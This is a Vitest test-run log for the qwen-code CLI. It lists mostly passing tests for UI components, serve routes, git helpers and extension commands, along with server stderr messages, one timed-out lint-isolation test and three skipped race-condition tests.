✓ TextInputMouseController > moves the cursor to the clicked offset on left-press 917ms
✓ src/config/migration/versions/v5-to-v4.test.ts (17 tests) 468ms
✓ src/ui/selection/selection-text.test.ts (15 tests) 307ms
✓ src/nonInteractive/io/StreamJsonInputReader.test.ts (11 tests) 668ms
✓ StreamJsonInputReader > read > should parse valid messages of all types 371ms
✓ src/ui/utils/mouse.test.ts (17 tests) 447ms
✓ src/serve/server/git-branch-ops.test.ts (16 tests) 13491ms
✓ branchExists > returns true for an existing branch 1047ms
✓ branchExists > returns false for a missing branch 755ms
✓ branchExists > matches only a local branch ref, not a tag of the same name 780ms
✓ isDirtyTree > returns false for a clean tree 692ms
✓ isDirtyTree > returns true when a tracked file is modified 674ms
✓ isDirtyTree > ignores untracked files 696ms
✓ getHeadCommit > returns the current HEAD commit sha 737ms
✓ getHeadCommit > returns undefined outside a git repository 682ms
✓ createBranch > creates and checks out a new branch at the current commit 1026ms
✓ createBranch > rejects when the branch already exists 727ms
✓ createBranch > rejects but leaves the branch created and checked out when a post-checkout hook fails 1062ms
✓ checkoutRef > switches to an existing branch 868ms
✓ checkoutRef > rejects for an unknown ref 695ms
✓ deleteBranch > deletes an existing branch 922ms
✓ deleteBranch > force-deletes an unmerged branch 1342ms
✓ deleteBranch > rejects when deleting the currently checked-out branch 704ms
✓ src/ui/components/DiffDialog.test.tsx (2 tests) 4104ms
✓ DiffDialog > caps its width on a wide terminal so the right border is not clipped 3242ms
✓ DiffDialog > shows old → new for a renamed file on a wide terminal 765ms
qwen serve: ignoring stale IDE workspace paths that do not overlap the selected workspace
qwen serve: skipping IDE workspace root that failed to canonicalize: /tmp/qwen-fs-factory-6h20pw/blocked (Error: blocked)
qwen serve: failed to canonicalize IDE workspace paths, using primary only: Error: blocked
qwen serve: dropping nested IDE workspace roots (parent folders already cover children)
qwen serve: dropping nested IDE workspace roots (parent folders already cover children)
✓ src/serve/server/fs-factory.test.ts (7 tests) 995ms
✓ resolveBoundWorkspacesFromIdeEnv > keeps the selected workspace first for legacy and JSON encoded roots 535ms
✓ src/utils/terminalSequence.test.ts (26 tests) 727ms
qwen serve: /acp SSE onClose threw: onClose boom
qwen serve: /acp SSE write failed, closing stream: EPIPE
✓ src/serve/acp-http/sse-stream.test.ts (11 tests) 620ms
✓ src/ui/models/availableModels.test.ts (14 tests) 701ms
✓ src/services/saved-workflow-loader.test.ts (11 tests) 758ms
✓ src/ui/utils/export/collect.test.ts (4 tests) 862ms
✓ collectSessionData > skips line-count fallback for truncated saved-session previews 516ms
✓ src/serve/native-directory-picker.test.ts (14 tests) 699ms
✓ pickNativeDirectory > returns the trimmed path on macOS 318ms
✓ src/serve/model-providers-edit.test.ts (12 tests) 526ms
✓ src/utils/deepMerge.test.ts (13 tests) 359ms
✓ src/ui/utils/synchronizedOutput.test.ts (17 tests) 465ms
✓ src/services/commandUtils.test.ts (14 tests) 325ms
qwen serve: /acp WS error: test error
qwen serve: /acp WS write failed: write failed
✓ src/serve/acp-http/ws-stream.test.ts (15 tests) 796ms
✓ src/ui/components/TerminalImage.test.tsx (6 tests) 3564ms
✓ TerminalImage > writes trusted Kitty data and renders its placeholder 2133ms
✓ TerminalImage > renders chafa ansi output 592ms
✓ src/ui/components/background-view/liveAgentPanelVisibility.test.ts (15 tests) 305ms
✓ src/ui/components/shared/RadioButtonSelect.test.tsx (5 tests) 2060ms
✓ RadioButtonSelect > Prop forwarding to BaseSelectionList > should forward all props correctly when provided 1639ms
✓ src/ui/components/Tips.test.ts (9 tests) 377ms
✓ src/commands/extensions/disable.test.ts (10 tests) 2148ms
✓ extensions disable command > should fail if no name is provided 914ms
✓ extensions disable command > should accept valid scope values 408ms
✓ src/ui/components/AppHeader.test.tsx (6 tests) 4252ms
✓ > shows the working directory 3052ms
✓ > shows the header with all info when banner is visible 384ms
✓ src/config/extension-runtime-reload.test.ts (6 tests) 690ms
✓ src/nonInteractive/io/StreamJsonOutputAdapter.dualOutput.test.ts (6 tests) 392ms
✓ src/commands/review/comment-status.integration.test.ts (7 tests) 13777ms
✓ makeGitProbe (real git) > reports the touching commits from the repo root 1407ms
✓ makeGitProbe (real git) > scopes git to the worktree via -C regardless of the process CWD 1459ms
✓ makeGitProbe (real git) > caps touchedBy at 10 while reporting the real total 5685ms
✓ makeGitProbe (real git) > degrades to unknown for a commit absent from the object store 691ms
✓ makeGitProbe (real git) > degrades to unknown for a non-ancestor (force-pushed-away) commit that still resolves 1763ms
✓ makeGitProbe (real git) > takes the comment path literally, not as pathspec magic 1467ms
✓ makeGitProbe (real git) > reports unchanged for a file the range never touched 1227ms
✓ src/ui/components/hooks/HooksListStep.test.tsx (9 tests) 3916ms
✓ HooksListStep > should render empty state when no hooks 1591ms
✓ HooksListStep > should render list of hooks 835ms
✓ HooksListStep > should pad index numbers based on total count 362ms
✓ src/commands/review/lib/prompt-record.test.ts (10 tests) 235ms
✓ src/ui/components/ConsentPrompt.test.tsx (9 tests) 3466ms
✓ ConsentPrompt > renders a string prompt with MarkdownDisplay 2075ms
✓ ConsentPrompt > shows a truncation notice when the prompt is reduced to one row 337ms
qwen serve: runtime startup failed after listener was ready: runtime boom
✓ src/serve/fast-path-open.test.ts (2 tests) 1790ms
✓ serve fast path --open import boundary > defers importing the full serve command opener until runtime is ready 1182ms
✓ serve fast path --open import boundary > skips importing the full serve command opener when runtime startup fails 533ms
✓ src/ui/utils/input-mouse.test.ts (9 tests) 678ms
✓ src/commands/review/lib/transcripts.test.ts (11 tests) 518ms
✓ src/config/migration/scheduler.test.ts (7 tests) 889ms
✓ src/config/mcpJson.test.ts (11 tests) 920ms
✓ src/ui/hooks/useAwaySummary.test.ts (3 tests) 1510ms
✓ useAwaySummary > records the auto-fired recap to chatRecordingService so it survives /resume 1218ms
✓ src/serve/routes/session-runtime.test.ts (7 tests) 778ms
✓ requireSessionRuntime telemetry attribution > publishes the primary runtime without scanning in single-workspace mode 452ms
✓ src/ui/voice/voice-refine.test.ts (11 tests) 633ms
✓ src/ui/components/shared/ErrorBoundary.test.tsx (8 tests) 3033ms
✓ ErrorBoundary > renders children when no error is thrown 1514ms
✓ ErrorBoundary > catches a render error and shows the default fallback with the message 531ms
✓ ErrorBoundary > reset clears the error state so children can recover 302ms
✓ src/config/modelProvidersScope.test.ts (11 tests) 280ms
✓ src/serve/cdp-tunnel/cdp-browser-emulator.test.ts (8 tests) 479ms
✓ src/ui/components/GoalPill.test.tsx (11 tests) 3732ms
✓ GoalPill > renders accessible lifecycle text for no goal 1365ms
✓ GoalPill > renders accessible lifecycle text for active and idle 986ms
✓ GoalPill > subscribes once and re-subscribes when Config changes sessions 331ms
✓ src/ui/hooks/session-completion.test.ts (8 tests) 697ms
✓ src/commands/review/lib/assets.test.ts (17 tests) 402ms
✓ src/ui/commands/planCommand.test.ts (7 tests) 796ms
✓ planCommand > should switch to plan mode if not in plan mode 435ms
✓ src/serve/sse-last-event-id.test.ts (25 tests) 460ms
✓ src/ui/components/SettingInputPrompt.test.tsx (7 tests) 4161ms
✓ SettingInputPrompt > renders setting name and description 2252ms
✓ SettingInputPrompt > does not render TextInput for sensitive values (uses PasswordInput) 376ms
✓ SettingInputPrompt > keeps printable ASCII boundaries and ignores control-only pastes 646ms
✓ SettingInputPrompt > passes correct props to TextInput for non-sensitive input 307ms
✓ src/ui/components/background-view/liveAgentPanelLayout.measurement.test.tsx (2 tests) 2669ms
✓ LiveAgentPanel growth → controls re-measurement > BUG: without the roster in the measurement deps, reserved room goes stale on growth 2201ms
✓ LiveAgentPanel growth → controls re-measurement > FIX: wiring the roster key into the deps re-measures, shrinking reserved room 364ms
✓ src/commands/channel/reload.test.ts (6 tests) 555ms
✓ src/commands/extensions/enable.test.ts (10 tests) 1771ms
✓ extensions enable command > should fail if no name is provided 722ms
✓ extensions enable command > should accept valid scope values 338ms
✓ src/ui/components/background-view/workflow-save-overlay.test.tsx (7 tests) 5671ms
✓ WorkflowSaveOverlay > renders the name field, scope toggle, and hints in edit phase 1931ms
✓ WorkflowSaveOverlay > appends typed characters to the name 651ms
✓ WorkflowSaveOverlay > saves to project scope on submit, then closes on the next key 855ms
✓ WorkflowSaveOverlay > Tab toggles to user scope 443ms
✓ WorkflowSaveOverlay > rejects an invalid name without calling save 408ms
✓ WorkflowSaveOverlay > prompts to overwrite on collision and retries with overwrite:true 1113ms
✓ src/ui/utils/lowlightLoader.test.ts (5 tests) 991ms
✓ lowlightLoader > resolves with a Lowlight instance on first successful load 430ms
✓ src/ui/commands/resumeCommand.test.ts (9 tests) 715ms
✓ src/acp-integration/session/tool-call-preparation-tracker.test.ts (6 tests) 824ms
✓ src/serve/extension-operation-scheduler.test.ts (8 tests) 831ms
✓ src/ui/components/mcp/steps/ResourceListStep.test.tsx (5 tests) 6003ms
✓ ResourceListStep > lists resource URIs and a friendly name when it differs from the URI 2000ms
✓ ResourceListStep > navigates with Ctrl+N/P and selects the highlighted resource 643ms
✓ ResourceListStep > windows a long list with correct count + arrow indicators 2975ms
✓ src/ui/voice/sox-recorder.test.ts (5 tests) 512ms
✓ src/commands/channel/set.test.ts (6 tests) 687ms
✓ src/ui/components/StickyTodoList.test.tsx (6 tests) 3649ms
✓ StickyTodoList > keeps each visible task number attached to the original task after sorting 2243ms
✓ StickyTodoList > keeps long todo lists compact with a hidden item summary 412ms
✓ StickyTodoList > falls back to the maximum visible item count for non-finite maxVisibleItems 759ms
✓ src/ui/App.test.tsx (7 tests) 2245ms
✓ App > should render main content and composer when not quitting 1453ms
✓ src/serve/routes/channel-notify.test.ts (10 tests) 2851ms
✓ channel notify routes > delivers the primary workspace notification synchronously 1682ms
✓ src/ui/components/arena/ArenaCards.test.tsx (2 tests) 4129ms
✓ ArenaSessionCard > renders the comparison summary sections from agent results 3396ms
✓ ArenaSessionCard > hides empty per-agent unique file groups 613ms
✓ src/commands/review/lib/budget.test.ts (17 tests) 339ms
✓ src/ui/components/ToolStatsDisplay.test.tsx (5 tests) 4163ms
✓ > should render "no tool calls" message when there are no active tools 2209ms
✓ > should display stats for a single tool correctly 729ms
✓ > should display stats for multiple tools correctly 403ms
✓ > should handle large values without wrapping or overlapping 372ms
✓ > should handle zero decisions gracefully 329ms
✓ src/ui/utils/CodeColorizer.test.ts (18 tests) 294ms
✓ src/utils/update-relaunch.test.ts (6 tests) 570ms
✓ updateBeforeRelaunch > waits for the package-manager update before reporting success 327ms
✓ src/serve/total-session-admission.test.ts (5 tests) 547ms
✓ src/commands/mcp/approve.test.ts (7 tests) 1792ms
✓ qwen mcp approve / reject > reports when there are no gated servers 597ms
✓ qwen mcp approve / reject > approves a named project server (pending -> approved) 445ms
✓ qwen mcp approve / reject > approves a workspace .qwen/settings.json server 417ms
✓ src/ui/utils/MermaidDiagram.test.tsx (5 tests) 5800ms
✓ MermaidDiagram > renders the wireframe immediately and writes Kitty images through raw output 3449ms
✓ MermaidDiagram > does not emit delayed iTerm2 image sequences from the TUI 355ms
✓ MermaidDiagram > does not start image rendering while the Mermaid block is pending 314ms
✓ MermaidDiagram > restarts image rendering for height-only resizes 524ms
✓ MermaidDiagram > shows the wireframe fallback when async image rendering rejects 1062ms
✓ src/ui/components/StatsEfficiencyTab.test.tsx (4 tests) 4686ms
✓ EfficiencyTab model table capping > lists only the top N models and collapses the rest into a "+N more" line 2728ms
✓ EfficiencyTab model table capping > lists every model and shows no overflow line when maxModelRows is unset 486ms
✓ EfficiencyTab tool leaderboard capping > lists only the top N tools and collapses the rest into a "+N more" line 610ms
✓ EfficiencyTab tool leaderboard capping > lists every tool and shows no overflow line when maxToolRows is unset 793ms
✓ src/services/FileCommandLoader-markdown.test.ts (4 tests) 1867ms
✓ FileCommandLoader - Markdown support > should load markdown commands with frontmatter 1109ms
❯ src/ui/voice/voice-keyterms-race.test.ts (3 tests | 3 skipped) 20357ms
↓ buildVoiceKeyterms race checks > does not read a keyterms file swapped in before open
↓ buildVoiceKeyterms race checks > does not read a keyterms file rewritten in place before open
↓ buildVoiceKeyterms race checks > does not read content larger than the file size cap after open
✓ src/serve/scheduled-task-session-lifecycle.test.ts (6 tests) 1455ms
✓ scheduled-task session lifecycle > disables only tasks bound to the given sessions 918ms
✓ src/commands/channel/status.test.ts (4 tests) 867ms
✓ statusCommand > shows serve ownership for daemon-managed channel workers 411ms
✓ src/utils/cleanup.test.ts (9 tests) 546ms
✓ src/services/markdown-command-parser.test.ts (13 tests) 1304ms
✓ parseMarkdownCommand > should parse markdown with YAML frontmatter 793ms
✓ src/utils/acp-startup-profiler.test.ts (4 tests) 453ms
✓ src/ui/components/ApprovalModeDialog.test.tsx (9 tests) 4387ms
✓ ApprovalModeDialog > keeps the mode picker within 6 rows 2282ms
✓ ApprovalModeDialog > keeps the mode picker within 12 rows 431ms
✓ src/ui/components/extensions/tabs/DiscoverTab.test.tsx (2 tests) 4499ms
✓ DiscoverTab > installs the selected extension with workspace activation 3728ms
✓ DiscoverTab > surfaces a warning when saving scope preference fails after install 680ms
✓ src/serve/workspace-inputs.test.ts (9 tests) 623ms
✓ src/ui/hooks/useTerminalSize.test.ts (5 tests) 1639ms
✓ useTerminalSize > returns the current terminal size on mount 735ms
✓ useTerminalSize > attaches exactly one resize listener no matter how many hooks mount 546ms
✓ src/ui/commands/docsCommand.test.ts (5 tests) 994ms
✓ docsCommand > should add an info message and call 'open' in a non-sandbox environment 601ms
✓ src/ui/components/agent-view/AgentComposer.test.tsx (3 tests) 1726ms
✓ AgentComposer > does not reset the parent input-buffer state during unmount 1480ms
✓ src/ui/components/views/McpStatus.test.tsx (12 tests) 4451ms
✓ McpStatus > renders correctly with a connected server 2392ms
✓ src/serve/channel-loop-mcp-ipc.test.ts (4 tests) 448ms
✓ ChannelLoopMcpWorkerHost > installs the exact-session handler before registration is acknowledged 306ms
✓ src/serve/routes/workspace-skills.test.ts (5 tests) 2621ms
✓ workspace Skill management routes > forwards an install request to the workspace service 1922ms
✓ src/config/daemon-trust-policy-monitor.test.ts (5 tests) 785ms
✓ daemon trust policy monitor > publishes only semantic changes 389ms
✓ src/ui/utils/terminalRedrawOptimizer.test.ts (9 tests) 441ms
✓ src/services/notificationService.test.ts (9 tests) 808ms
✓ sendNotification > sends iTerm2 notification for iTerm.app 358ms
✓ src/services/tips/tipScheduler.test.ts (7 tests) 608ms
✓ src/ui/components/SessionSummaryDisplay.test.tsx (3 tests) 4573ms
✓ > renders the summary display with a title 3776ms
✓ > does not show resume message when there are no messages 340ms
✓ > does not show resume message when chat recording is disabled 362ms
✓ src/ui/utils/backgroundWorkUtils.test.ts (8 tests) 341ms
✓ src/ui/commands/effort-command.test.ts (7 tests) 916ms
✓ effortCommand > opens the picker dialog when called with no args interactively 425ms
✓ src/commands/channel/pairing.test.ts (4 tests) 582ms
qwen serve: createServeApp default fsFactory uses trusted=false — agent ACP writeTextFile calls will reject with untrusted_workspace. Inject deps.fsFactory (with explicit trust) or deps.bridge to override.
qwen serve: createServeApp default fsFactory uses trusted=false — agent ACP writeTextFile calls will reject with untrusted_workspace. Inject deps.fsFactory (with explicit trust) or deps.bridge to override.
✓ src/serve/server-default-bridge-wiring.test.ts (2 tests) 26501ms
✓ createServeApp default bridge wiring > wires the internally-created bridge lifecycle into the workspace registry 12483ms
✓ createServeApp default bridge wiring > wires total admission into the internally-created bridge 13950ms
✓ src/ui/utils/sessionPickerUtils.test.ts (15 tests) 483ms
✓ src/ui/utils/measure-element-position.test.tsx (6 tests) 2204ms
✓ measureElementPosition > should return {0,0} for root-level element 1472ms
✓ src/utils/chat-recording-failure.test.ts (5 tests) 1092ms
✓ chat recording failure reporting > uses the affected session id in both system-message locations 353ms
✓ src/ui/hooks/useFocus.test.ts (6 tests) 2174ms
✓ useFocus > should initialize with focus and enable focus reporting 1302ms
✓ src/ui/commands/historyCommand.test.ts (5 tests) 13188ms
✓ historyCommand > collapse-on-resume sets the user preference 348ms
✓ historyCommand > expand-now removes suppressOnRestore and drops summary 12655ms
✓ src/ui/commands/importConfigCommand.test.ts (9 tests) 639ms
✓ src/ui/components/messages/GoalStatusMessage.test.tsx (11 tests) 3367ms
✓ > shows the goal and judge reason on checking cards 2008ms
✓ src/utils/housekeeping/throttledOnce.test.ts (7 tests) 1216ms
✓ runThrottledOnce > runs task, writes marker, releases lock on first call 613ms
✓ src/ui/components/shared/EnumSelector.test.tsx (9 tests) 3436ms
✓ > renders with string options and matches snapshot 2165ms
✓ > updates when currentValue changes externally 316ms
✓ src/serve/managed-scratch-workspace.test.ts (6 tests) 658ms
✓ src/ui/utils/modelsBySource.test.ts (7 tests) 697ms
✓ src/services/tips/tipHistory.test.ts (11 tests) 743ms
✓ src/ui/commands/arenaCommand.agentComplete.test.ts (1 test) 699ms
✓ arenaCommand agent completion history > preserves arena result metadata needed by completion cards 577ms
✓ src/ui/components/FolderTrustDialog.test.tsx (9 tests) 5358ms
✓ FolderTrustDialog > should render the dialog with title and description 2690ms
✓ FolderTrustDialog > should call onSelect with DO_NOT_TRUST when escape is pressed and not restarting 739ms
✓ FolderTrustDialog > should call relaunchApp when isRestarting is true 395ms
✓ src/ui/components/mcp/steps/ServerListStep.test.tsx (5 tests) 3632ms
✓ ServerListStep > navigates with Ctrl+N/P readline aliases 2809ms
✓ src/ui/components/shared/TextInput.test.tsx (6 tests) 2807ms
✓ TextInput > multiline mode (height > 1) > submits on plain Enter 2084ms
✓ src/acp-integration/session/tasksSnapshot.test.ts (6 tests) 227ms
✓ src/ui/hooks/useShowMemoryCommand.test.ts (4 tests) 263ms
✓ src/ui/commands/dreamCommand.test.ts (5 tests) 977ms
✓ src/ui/components/views/ContextUsage.test.tsx (4 tests) 5802ms
✓ ContextUsage — CompactionThresholds section (review #4168 R1.6) > renders the new three-tier section with all four threshold rows 3222ms
✓ ContextUsage — CompactionThresholds section (review #4168 R1.6) > shows safe tier without any ▶ marker 864ms
✓ ContextUsage — CompactionThresholds section (review #4168 R1.6) > places ▶ on the warn row when currentTier === warn 780ms
✓ ContextUsage — CompactionThresholds section (review #4168 R1.6) > places ▶ on the hard row when currentTier === hard 855ms
✓ src/ui/contexts/VimModeContext.test.tsx (4 tests) 2396ms
✓ VimModeContext — Esc key isolation in INSERT mode > setVimMode should be available and callable 1563ms
✓ src/ui/voice/voice-stream-retry.test.ts (6 tests) 946ms
✓ openVoiceStreamWithRetry > retries once when opening the realtime stream fails before use 329ms
✓ src/acp-integration/generation.test.ts (3 tests) 542ms
✓ executeGeneration > streams a stateless, tool-free request through the fast model 395ms
✓ src/ui/components/shared/BaseSelectionList.mouse.test.tsx (5 tests) 3453ms
✓ BaseSelectionList mouse gate > mounts RowMouseController when VP and mouseTracking are both on 2510ms
✓ BaseSelectionList mouse gate > does not mount RowMouseController when startup VP overrides an enabled setting 306ms
✓ src/config/normalizeDisabledTools.test.ts (16 tests) 336ms
✓ src/commands/channel/stop.test.ts (4 tests) 502ms
✓ stopCommand > does not signal serve-owned channel workers 304ms
✓ src/serve/voice/resolve-voice-config.test.ts (2 tests) 9836ms
✓ loadDaemonVoiceContext > uses the injected runtime env for voice auth and model config resolution 885ms
✓ loadDaemonVoiceContext > skips workspace settings when the runtime is untrusted 8881ms
✓ src/serve/server/device-flow-registry.test.ts (3 tests) 826ms
✓ createDeviceFlowRegistry device-flow event fan-out > fans a device-flow event out to every resolved bridge 649ms
✓ src/ui/components/mcp/steps/ResourceDetailStep.test.tsx (6 tests) 2525ms
✓ ResourceDetailStep > renders metadata and the @server:uri reference hint 1720ms
✓ src/ui/hooks/useWelcomeBack.test.ts (4 tests) 1757ms
✓ useWelcomeBack > suppresses the dialog when restart was already chosen for the same summary 1003ms
qwen serve: POST /workspace/generate failed: Error: upstream failed
at Object.generateWorkspaceContent (/build/qwen-code/src/qwen-code/packages/cli/src/serve/workspace-generation.test.ts:88:15)
at generateWorkspaceContent.next ()
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/workspace-generation.ts:83:24
at processTicksAndRejections (node:internal/process/task_queues:104:5)
✓ src/serve/workspace-generation.test.ts (7 tests) 2730ms
✓ workspace generation route > streams the session-compatible generation envelope 1547ms
✓ workspace generation route > returns 501 when the bridge does not support generation 354ms
✓ workspace generation route > streams an error event when generation fails 325ms
✓ src/ui/hooks/use-wake-repaint.test.ts (8 tests) 1718ms
✓ useWakeRepaint > does not repaint during normal heartbeat ticks 940ms
✓ src/ui/hooks/useSessionPicker.test.ts (4 tests) 1640ms
✓ useSessionPicker > uses Ctrl+N and Ctrl+P as readline aliases for list navigation 1084ms
✓ src/ui/hooks/useModelCommand.test.ts (8 tests) 1432ms
✓ useModelCommand > should initialize with the model dialog closed 732ms
✓ src/ui/components/extensions/steps/ExtensionListStep.test.tsx (5 tests) 3263ms
✓ ExtensionListStep Snapshots > should render empty state 1888ms
✓ ExtensionListStep Snapshots > should render list with single extension 692ms
✓ ExtensionListStep Snapshots > should render list with multiple extensions 324ms
✓ src/utils/readStdin.test.ts (5 tests) 5126ms
✓ readStdin > should enforce the stdin limit by UTF-8 byte size 4649ms
✓ src/ui/components/shared/ToolElapsedTime.test.tsx (8 tests) 2810ms
✓ > renders nothing for non-executing status 984ms
✓ > stays quiet for the first 3s when no timeout is set 470ms
✓ > shows elapsed seconds past the 3s threshold (no timeout) 588ms
✓ src/ui/hooks/useConfigInitMessage.test.ts (7 tests) 1456ms
✓ useConfigInitMessage > returns null once config is initialized 838ms
❯ src/commands/review/script-lint-isolation.test.ts (2 tests | 1 failed) 32583ms
× script-lint — hadolint fails closed when config isolation is unavailable > adds no --config when a private neutral config cannot be created 30330ms
→ Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
✓ script-lint — hadolint fails closed when config isolation is unavailable > errors a Dockerfile (fail closed) instead of linting it unisolated 2088ms
✓ src/ui/components/hooks/sourceLabels.test.ts (10 tests) 450ms
✓ src/ui/components/extensions/tabs/SourcesTab.test.tsx (1 test) 3836ms
✓ SourcesTab > reports a committed install warning without treating it as failure 3685ms
✓ src/utils/classify-api-error.test.ts (18 tests) 311ms
✓ src/ui/components/PrepareLabel.test.tsx (6 tests) 2322ms
✓ PrepareLabel > renders plain label when no match (short label) 1457ms
✓ src/serve/channel-delivery-authorization.test.ts (4 tests) 221ms
✓ src/commands/extensions/link.test.ts (5 tests) 1669ms
✓ extensions link command > should fail if no path is provided 754ms
✓ extensions link command > should accept a path argument 492ms
✓ src/ui/hooks/useWorktreeSession.test.tsx (4 tests) 2278ms
✓ useWorktreeSession > returns null when no sidecar exists 1022ms
✓ useWorktreeSession > returns the parsed sidecar when one exists at mount time 556ms
✓ useWorktreeSession > reacts to sidecar deletion (clear) 325ms
✓ src/ui/hooks/use-effort-command.test.ts (5 tests) 1544ms
✓ useEffortCommand > opens and closes the dialog 885ms
✓ src/ui/commands/reload-plugins-command.test.ts (3 tests) 565ms
✓ src/ui/components/QueuedMessageDisplay.test.tsx (7 tests) 3084ms
✓ QueuedMessageDisplay > renders nothing when message queue is empty 1051ms
✓ QueuedMessageDisplay > displays single queued message 980ms
✓ QueuedMessageDisplay > hides edit hint after showing it enough times 393ms
qwen serve: /cdp tunnel — extension bridge 'b' superseded the stale 'a'
qwen serve: /cdp tunnel — extension bridge 'b' superseded the stale 'a'
qwen serve: /cdp tunnel — extension bridge 'b' superseded the stale 'a'
✓ src/serve/cdp-tunnel/cdp-tunnel-registry.test.ts (8 tests) 505ms
✓ src/ui/commands/toolsCommand.test.ts (4 tests) 688ms
✓ toolsCommand > should display an error if the tool registry is unavailable 408ms
✓ src/utils/userPromptExpansionHook.test.ts (12 tests) 497ms
✓ src/commands/channel/startup-failure-format.test.ts (4 tests) 520ms
✓ src/serve/server/telemetry-catalog.test.ts (1 test) 689ms
✓ legacy session telemetry route drift guard > matches the explicit Express route registrations in both directions 602ms
✓ src/ui/components/hooks/HooksDisabledStep.test.tsx (8 tests) 2754ms
✓ HooksDisabledStep > should render disabled title 1457ms
✓ src/commands/review/lib/merge-base.test.ts (7 tests) 296ms
✓ src/ui/utils/approvalModeDisplay.test.ts (5 tests) 951ms
✓ approval mode display > formatApprovalModeName > formats mode names with the active locale 701ms
✓ src/ui/commands/forgetCommand.test.ts (6 tests) 624ms
✓ src/acp-integration/extension-skills.test.ts (4 tests) 269ms
✓ src/commands/mcp/remove.test.ts (4 tests) 1694ms
✓ mcp remove command > should remove a server from user settings by default 1259ms
✓ src/ui/hooks/useFollowupSuggestions.test.tsx (2 tests) 1307ms
✓ useFollowupSuggestionsCLI telemetry > omits time_to_first_keystroke_ms on fallback accepts even with stale shown/keystroke refs 1107ms
✓ src/ui/components/shared/DescriptiveRadioButtonSelect.test.tsx (4 tests) 3116ms
✓ DescriptiveRadioButtonSelect > should render correctly with default props 2420ms
✓ DescriptiveRadioButtonSelect > should render correctly with custom props 388ms
✓ src/runtime/channel-delivery-ipc.test.ts (10 tests) 337ms
✓ src/ui/utils/kittyProtocolDetector.test.ts (3 tests) 465ms
✓ src/ui/themes/theme.test.ts (5 tests) 275ms
✓ src/ui/components/extensions/tabs/InstalledTab.test.tsx (1 test) 2381ms
✓ InstalledTab > surfaces activation warnings and reloads the installed list 2298ms
✓ src/config/mcpServers.test.ts (6 tests) 550ms
✓ src/acp-integration/session/history-replayer.conformance.test.ts (1 test) 782ms
✓ HistoryReplayer projection conformance > matches the SDK offline projection for the same prepared records 647ms
✓ src/serve/server/error-response.test.ts (6 tests) 782ms
✓ sendBridgeError session writer errors > maps sealed session maintenance to daemon_draining 441ms
✓ src/commands/extensions.test.tsx (11 tests) 2506ms
✓ extensions command > should require a subcommand 574ms
✓ extensions command > should register list subcommand 803ms
✓ extensions command > should register new subcommand 416ms
No extensions installed.
✓ src/ui/app-container-controls-dep.test.ts (3 tests) 191ms
✓ src/ui/utils/terminal-buffer.test.ts (7 tests) 193ms
✓ src/acp-integration/session/rewrite/TurnBuffer.test.ts (12 tests) 318ms
✓ src/ui/components/views/ExtensionsList.test.tsx (9 tests) 2821ms
✓ > should render "No extensions installed." if there are no extensions 1477ms
✓ > should render a list of extensions with their version and status 454ms
✓ src/agent-view/current-cli-argv.test.ts (4 tests) 563ms
✓ src/ui/utils/inline-math.test.ts (9 tests) 459ms
✓ src/commands/auth.test.ts (9 tests) 1956ms
✓ auth command > writes the notice before exiting 356ms
✓ auth command > routes `auth` to the removal notice 701ms
✓ src/runtime/workspace-skills-mapping.test.ts (6 tests) 364ms
✓ src/serve/channel-worker-startup-ipc.test.ts (3 tests) 209ms
✓ src/serve/routes/workspace-lifecycle.test.ts (2 tests) 2017ms
✓ workspace-qualified lifecycle routes > reconciles trust on reload but not on init 1787ms
✓ src/commands/review/lib/paths.test.ts (7 tests) 316ms
✓ src/ui/components/extensions/steps/ActionSelectionStep.test.tsx (5 tests) 3326ms
✓ ActionSelectionStep Snapshots > should render for active extension without update 2375ms
✓ src/commands/extensions/list.test.ts (4 tests) 1929ms
✓ extensions list command > should parse the list command 1364ms
✓ handleList > should display message when no extensions are installed 345ms
✓ src/utils/headlessSafetyWarnings.test.ts (7 tests) 212ms
✓ src/ui/components/ThemeDialog.test.tsx (2 tests) 10531ms
✓ ThemeDialog Snapshots > should render correctly in theme selection mode 7724ms
✓ ThemeDialog Snapshots > should render correctly in scope selector mode 2729ms
✓ src/serve/server/session-export.test.ts (2 tests) 698ms
✓ exportSessionTranscript > loads archived storage when archiveState is archived 560ms
✓ src/ui/hooks/useTerminalNotification.test.ts (6 tests) 355ms
✓ src/ui/hooks/useAnimatedScrollbar.test.ts (6 tests) 1412ms
✓ useAnimatedScrollbar > starts hidden so the bar does not flash on initial mount 769ms
✓ src/ui/components/StatsSessionTab.test.tsx (3 tests) 3923ms
✓ generation metrics > shows latest-request and weighted session timing 3004ms
✓ generation metrics > hides the section until a timed response exists 309ms
✓ generation metrics > renders unavailable TPS for a zero generation duration 513ms
✓ src/commands/review.test.ts (5 tests) 290ms
✓ src/services/insight/generators/StaticInsightGenerator.test.ts (1 test) 790ms
✓ StaticInsightGenerator > writes insights under runtime output directory 711ms
✓ src/ui/utils/list-mouse.test.ts (12 tests) 249ms
✓ src/services/insight/generators/TemplateRenderer.test.ts (3 tests) 194ms
✓ src/acp-integration/authPreflight.test.ts (3 tests) 242ms
✓ src/ui/utils/software-cursor.test.ts (10 tests) 401ms
✓ src/ui/utils/displayUtils.test.ts (8 tests) 608ms
✓ src/ui/components/ContextSummaryDisplay.test.tsx (4 tests) 2267ms
✓ > should render on a single line on a wide screen 1507ms
✓ > should render on multiple lines on a narrow screen 421ms
✓ src/services/tips/tipRegistry.test.ts (5 tests) 191ms
✓ src/ui/components/TodoDisplay.test.tsx (6 tests) 2891ms
✓ TodoDisplay > should render todo list 2152ms
✓ src/ui/components/EffortDialog.test.tsx (5 tests) 4629ms
✓ EffortDialog > renders the title and all five reasoning-effort tiers 3144ms
✓ EffortDialog > shows the "no effort configured" hint when currentEffort is unset 385ms
✓ EffortDialog > hides the "no effort configured" hint when currentEffort is set 368ms
✓ EffortDialog > registers an active Escape handler that cancels with undefined 339ms
✓ src/ui/utils/mermaidVisualRenderer.test.ts (4 tests) 745ms
✓ mermaid visual renderer > expands chained flowchart edges into adjacent edges 434ms
✓ src/serve/server/request-helpers.sandbox.test.ts (3 tests) 426ms
✓ src/acp-integration/session/rewrite/config.test.ts (5 tests) 208ms
✓ src/ui/commands/branchCommand.test.ts (6 tests) 515ms
✓ src/ui/commands/terminalSetupCommand.test.ts (5 tests) 444ms
✓ src/ui/components/IdeTrustChangeDialog.test.tsx (6 tests) 3262ms
✓ IdeTrustChangeDialog > renders the correct message for CONNECTION_CHANGE 2218ms
✓ src/services/insight/dates.test.ts (8 tests) 269ms
✓ src/commands/review/lib/git.test.ts (5 tests) 263ms
